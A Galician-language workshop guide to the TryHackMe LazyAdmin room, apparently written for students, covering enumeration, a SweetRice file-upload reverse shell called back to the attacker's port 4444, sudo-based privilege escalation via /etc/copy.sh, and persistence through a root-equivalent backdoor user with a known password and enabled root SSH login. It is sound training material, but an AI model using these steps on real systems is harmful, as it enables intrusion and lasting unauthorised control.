Práctica Taller: LazyAdmin (TryHackMe) – Pentest completo paso a paso
De interese
- Ás
roomspódese acceder medianteAttackBoxouVPN.
- As contas Free soamente poderán iniciar o
AttackBoxgratuíto unha hora ao día. Debes abonarte para acceso ilimitado a AttackBox. - Se se accede por
AttackBoxxa conectas dende o propia navegador a unha máquina atacante, con moitas ferramentas preinstaladas, a cal posúe conectividade coa máquina vítima(room). - Se se accede por
VPNdebes configurar a túa propia máquina para o ataque e conectar dende ela, por VPN, á máquina vítima(room). - Usa a máquina desta
roomcomo práctica inicial antes de abordar máquinas máis complexas.
Obxectivo
Realizar un test de intrusión completo (6 fases) sobre a máquina, desde enumeración ata explotación, persistencia e redacción do informe.
Pasos básicos
-
Configurar en VirtualBox unha máquina Kali Linux coa rede en modo NAT.

-
Arrancar a máquina Kali Linux:
- Acceder a TryHackMe e facer clic en
Join Room - Arrancar a máquina facendo clic en
Start Machine - Picar na icona de interrogación para saber como acceder á máquina unha vez obtida a IP.
- Detectar vulnerabilidades en servizos e/ou aplicacións.
- Explorar un vector de ataque e conseguir acceso ao sistema.
- Recoller información do sistema.
- Conseguir contido ficheiro
user.txt - Elevación de privilexios e conseguir acceso coma root.
- Conseguir contido ficheiro
root.txt
- Acceder a TryHackMe e facer clic en
- Elaborar un informe final coas evidencias obtidas.
Fases dun test de intrusión (Pentest)
Fase 1: Recopilación de información
Prerrequisito
Arrancar a máquina Kali Linux na primeira opción de arranque.
-
Acceder a LazyAdmin - TryHackMe e facer clic en
Join Room:

-
Arrancar a máquina facendo clic en
Start Machine:

-
Picar na icona de interrogación para saber como acceder á máquina unha vez obtida a IP:
Opción 1. Acceder mediante AttackBox
-
Picar en Start AttackBox e esperar a que apareza a máquina:

-
Logo, proceder de forma análoga a partir da
Opción 2 - apartado D.
Opción 2. Acceder mediante VPN
A. Picar en See Instructions:
B. Picar en Download configuration file:
Se se descarga por primeira vez
Picar de novo Download configuration file para descargar o ficheiro de configuración VPN.
C. Unha vez descargado o ficheiro .vpn correspondente ao teu usuario abrir unha consola e executar:
sudo openvpn username.vpn
Lanza o cliente OpenVPN usando o ficheiro de configuración username.vpn. O que sucede en concreto:
sudo— require permisos de root para crear a interface de rede virtual (tun0) e modificar táboas de ruteo.openvpn username.vpn— OpenVPN le o ficheiro.vpn(contén certificado/clave, servidor, portas, rutas, DNS, etc.) e establece a conexión coa infraestrutura de TryHackMe.- Ao conectar: créase unha interface
tun0(ou similar), aplícanse rutas e DNS proporcionadas polo servidor, e o teu tráfico cara ás IPs do lab pasa pola VPN. - Resultado práctico: podes executar
ping,nmape acceder (ssh, web, etc.) ás máquinas da room como se estiveseches na mesma rede do lab. - Comprobación rápida noutra consola:
ip a(vertun0) eip route/ping <IP-da-machine>para asegurarte de conectividade. - Para deter a conexión VPN:
Ctrl+Cna terminal onde corre OpenVPN (ou mata o proceso).
Aviso/boas prácticas
Non deixes a VPN activa cando non a uses.
Usa isto só para labs autorizados (TryHackMe/CTF).
D. Comprobación de conectividade e detección do sistema operativo. Así, executar na anterior consola:
IP de TryHackMe servida para esta máquina
No caso de execución deste procedemento a IP servida foi: 10.10.127.68, pero no voso caso pode variar. Tédeo en conta para o seguimento desta práctica.
TTL
- TTL ≃ 64 ⇒ GNU/Linux
- TTL ≃ 128 ⇒ Microsoft Windows
Como podemos observar na saída do comandopingestamos ante unha máquina obxectivo GNU/Linux.
E. Escaneo básico con Nmap:
Fase 2: Análise de vulnerabilidades
Identificación de servizos vulnerábeis:
- Servizos atopados: SSH e Apache
Dende a máquina Kali GNU/Linux emprega varias ferramentas para obter información:
- whatweb é unha ferramenta de fingerprinting web que identifica tecnoloxías, cabeceras e versións dun servidor HTTP a partir dunha URL ou enderezo IP.
-
dirb é unha ferramenta de descubrimento de directorios/ficheiros web que usa wordlists para forzar URLs e localizar rutas ocultas nun servidor HTTP.
Con esta ferramenta atopamos rutas no servidor que podemos explorar, como: http://10.10.127.68/content/
Así, visitando esa URL no navegador atopamos a aplicación SweetRice.
Tamén poderiamos executar de novo o comando
whatweb nesa URL:
Voltamos a executar de novo o comando
dirb sobre esa URL para seguir descubrindo directorios/ficheiros atopando, entre outras, as seguintes URLs: 1. http://10.10.127.68/content/as/ -> Atopamos o panel de login da aplicación SweetRice
2. http://10.10.127.68/content/inc/ -> Atopamos un directorio
interesante de backups.
3. http://10.10.127.68/content/inc/mysql_backup/ -> Atopamos un ficheiro de backup de sql, o cal descargamos.
Ao descargar ese ficheiro, buscamos se podemos obter credenciais: Atopamos as seguintes credenciais:
Usuario admin: manager
Password: Password123
Accedemos ao panel de login da ferramenta, introducimos as credenciais e estamos dentro da aplicación.
Se observamos no panel esquerdo vemos a versión desta aplicación: 1.5.1
-
searchsploit para buscar exploits relacionados con sweetrice:
Exploits atopados
Podemos observar que atopamos varios exploits para a versión 1.5.1, sendo a principio moi interesante o de File Upload. Lemos o contido do ficheiro 40716.py co seguinte comando para estudar este exploit:
Tamén podemos descargar este exploit á ruta local mediante o comando:
Fase 3: Explotación
Estudando o contido do exploit para esa aplicación atopamos que é vulnerable á subida de arquivos php5 na xeración de Post, entón:
-
Descargamos unha reverse shell php de: GitHub pentestmonkey
-
Modificamos a extensión a php5 e no contido do ficheiro a IP e o porto a escoitar a reverse shell
IP da máquina Kali Linux
No caso de execución deste procedemento a IP da máquina Kali Linux foi: 10.9.1.180, pero no voso caso pode variar. Tédeo en conta para o seguimento desta práctica.
cp -pv php-reverse-shell.php shell.php5
grep -i change shell.php5
ip -o -4 addr show tun0 | awk '{print $4}' | cut -d'/' -f1
sed -i -e "s|='127.0.0.1'|='10.9.1.180'|" -e 's/= 1234/= 4444/' shell.php5
-
Accedemos a Post -> Create
-
Subimos ese arquivo php5, que será accesible en http://10.10.127.68/content/attachments/shell.php5
-
Abrimos outra consola en Kali Linux e pomos o porto TCP anterior en escoita para recoller a shell da máquina vítima:
-
No navegador accedemos a http://10.10.127.68/content/attachments/shell.php5
-
Agora, obtemos na consola anterior a reverse shell, na cal facemos un tratamento tty para convertir esta consola nun terminal similar ao que obteriamos se accederamos como usuario a este sistema:
Fase 4: Post-explotación
Recolleita de información (datos sensibles):
Dende a consola aberta a través de nc podemos ir recopilando información.
Seguimos:
sudo -l
cat /home/itguy/backup.pl
ls -l /etc/copy.sh
echo sh > /etc/copy.sh
/usr/bin/perl /home/itguy/backup.pl
$ whoami
www-data
$ exit
sudo /usr/bin/perl /home/itguy/backup.pl
# whoami
root
Xa somos root, co cal executamos:
Xa obtemos a flag root.txt
Agora xa podemos subir os flags atopados a TryHackMe

Fase 5: Persistencia
Aínda que as Flags xa se conseguiron...
Podemos intentar conseguir a Persistencia na máquina.
Engadir usuario permanente e ademais facelo root
useradd -m pentester -o -u 0 -g 0
echo 'pentester:abc123.' | chpasswd
id pentester
sed -i 's|PermitRootLogin prohibit-password|PermitRootLogin yes|' /etc/ssh/sshd_config
reboot
Unha vez reiniciada a máquina vemos que podemos acceder mediante ssh co usuario root pentester

Fase 6: Informe final
Seguir o indicado en Informes de Pentesting para obter os informes.
Exemplos nas seccións